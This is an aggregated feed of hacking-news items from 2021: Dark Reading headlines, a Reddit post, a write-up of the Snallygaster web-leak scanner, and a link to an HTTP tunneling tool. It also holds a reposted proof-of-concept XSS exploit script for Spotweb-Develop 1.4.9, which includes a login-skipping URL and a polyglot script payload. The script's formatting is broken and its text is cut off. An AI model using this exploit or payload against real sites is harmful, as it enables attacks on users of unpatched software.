Hacking on Medium
Datos de más de 100 millones de usuarios de Android expuestos a través de servicios en la nube mal…

https://cdn-images-1.medium.com/max/1590/0*vtlmYDr57IZadXhB
PUBLICADO EN 20 MAYO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
What happened to DarkWebNews.com?

There was once a website called DarkWebNews.com and it had many useful info about Deep Web/Dark Web but about a year ago it went down and is nowhere to be found. What happened?!

submitted by /u/AplusMMM
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Third-Party Apps were still getting your private Facebook data even after their access expiry.
https://infosecwriteups.com/third-party-apps-were-still-getting-your-private-facebook-data-even-after-their-access-expiry-6e4be4880e6e?source=rss------bug_bounty-5

…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/third-party-apps-were-still-getting-your-private-facebook-data-even-after-their-access-expiry-6e4be4880e6e?source=rss------bug_bounty-5)

Black Hat Ethical Hacking
Offensive Security Tool: Snallygaster

https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: SnallygasterPost Views: 12 https://www.blackhatethicalhacking.com/wp-content/uploads/2020/11/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-8-1-300x120.png Reading Time: 2 Minutes
Offensive Security Tool: Snallygaster GitHub Link
Snallygaster

Finds file leaks and other security problems on HTTP servers.
What?

Snallygaster by hannob, is a tool that looks for files accessible on web servers that shouldn’t be public and can pose a security risk. Typical examples include publicly accessible git repositories, backup files potentially containing passwords or database dumps. In addition, it contains a few checks for other security vulnerabilities.
As an introduction to these kinds of issues you may want to watch this talk:

⦿ Attacking with HTTP Requests
See the TESTS.md file for an overview of all tests and links to further information about the issues.
See Also: Microsoft, Google Clouds Hijacked for Gobs of Phishing
Some Features:
⦿ Select a random user agent to send and scan remote host. this will allow to bypass user-agent block list.

⦿ Skip scanning www.[host] option.

⦿ Don’t scan http it will be possible to crawl one protocol in case that the same web content available on the encrypted version.

⦿ Don’t scan https this to avoid scanning https.

⦿ Enable all info tests (no bugs/security vulnerabilities)

⦿ Show noisy messages that indicate boring bugs, but no security issue.

⦿ Produce JSON output
See Also: Hacking Stories: Xbox Underground
Install
snallygaster is available via pypi: pip3 install snallygasterIt’s a simple python 3 script, so you can just download the file “snallygaster” and execute it. Dependencies are urllib3, beautifulsoup4 and dnspython. In Debian- or Ubuntu-based distributions you can install them via: apt install python3-dnspython python3-urllib3 python3-bs4Distribution Packages
Some Linux and BSD systems have snallygaster packaged:

⦿ Gentoo
⦿ NetBSD
⦿ Arch Linux (git version)
Author

snallygaster is developed and maintained by Hanno Böck.
See Also: Offensive Security Tool: Skipfish Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/image_2021-05-14_115500-90x90.png Offensive Security Tool: Breacher6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/image_2021-05-07_124858-90x90.png Offensive Security Tool: EyeWitness2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/Selection_017-90x90.png Offensive Security Tool: SSHPry2.03 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image1-90x90.png Offensive Security Tool: ADFSBrute4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/logo-90x90.png Offensive Security Tool: Hunt1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/85207007-711b0b80-b343-11ea-82f3-49aa5d5d719b-90x90.png Offensive Security Tool: CVE Binary Tool by Intel1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/help-1-90x90.png Offensive Security Tool: DirDar2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/intro-90x90.png Information Security Tool: Chameleon2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/skipfish_screenshot-90x90.png Offensive Security Tool: Skipfish2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/sparta2-90x90.png Offensive Security Tool: Sparta3 months ago
style="display:block; text-align:center;[...]

___________________________
@hacking_Attack
@Hacking_Video

"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Offensive Security Tool: Snallygaster first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Security Providers Describe New Solutions (& Growing Threats) at RSAC

SPONSORED CONTENT: Watch now -- Leading security companies meet Dark Reading in the RSA Conference Broadcast Alley to talk about tackling insider threat, SOC complexity, cyber resilience, mobile security, attacker evasion, supply chain threats, ransomware, and more.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Lack of Skills, Maturity Hamper Threat Hunting at Many Organizations

When implemented correctly, threat hunting can help organizations stay head of threats, researcher says at RSA Conference.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
This facial recognition website can turn anyone into a cop — or a stalker

https://external-preview.redd.it/0AKiEeKWJF9U76v9xJIZZ7EkyouucilalozQUvGUEPo.jpg?width=640&crop=smart&auto=webp&s=00ec14ba4bfa4e827a2032efc94de4cb7f230fba submitted by /u/standardworks
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Spotweb-Develop 1.4.9 Cross Site Scripting

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Spotweb-Develop version 1.4.9 suffers from a cross site scripting vulnerability.

MD5 | 54aca54a561f4966b3e93115c54b1141

Download
# Exploit Title: Cross Site Scripting (DOM Based) spotweb-develop 1.4.9
# Author: @nu11secur1ty
# Testing and Debugging: nu11secur1ty $ OWASP-ZAP
# Date: 05.20.2021
# Vendor: https://www.nzbserver.com/
# Link: https://github.com/spotweb/spotweb
# CVE: 2021-XXXX
# Proof: https://streamable.com/hix5o1

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-XXXX

from selenium import webdriver
import time
import os, sys
# Vendor: https://www.nzbserver.com/
# Jump over login form :D
website_link="
http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"

# enter your login username
username="nu11secur1ty"

# enter your login password
password="password"

#enter the element for username input field
element_for_username="loginform[username]"

#enter the element for password input field
element_for_password="loginform[password]"

#enter the element for submit button
element_for_submit="loginform[submitlogin]"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit Cross Site Scripting (DOM Based)
# Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//\x3csVg/
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How does Kerberos really work?

https://cdn-images-1.medium.com/max/624/1*UkFzTkiUF28OYQSvPl114A.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
“Ohh, how adorable!

https://cdn-images-1.medium.com/max/1200/0*ChnTRiqtGOq81lF6
Dear Hyruleans,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

ABPTTS - TCP Tunneling Over HTTP/HTTPS For Web Application Servers
http://www.kitploit.com/2021/05/abptts-tcp-tunneling-over-httphttps-for.html

___________________________
@hacking_Attack
@Hacking_Video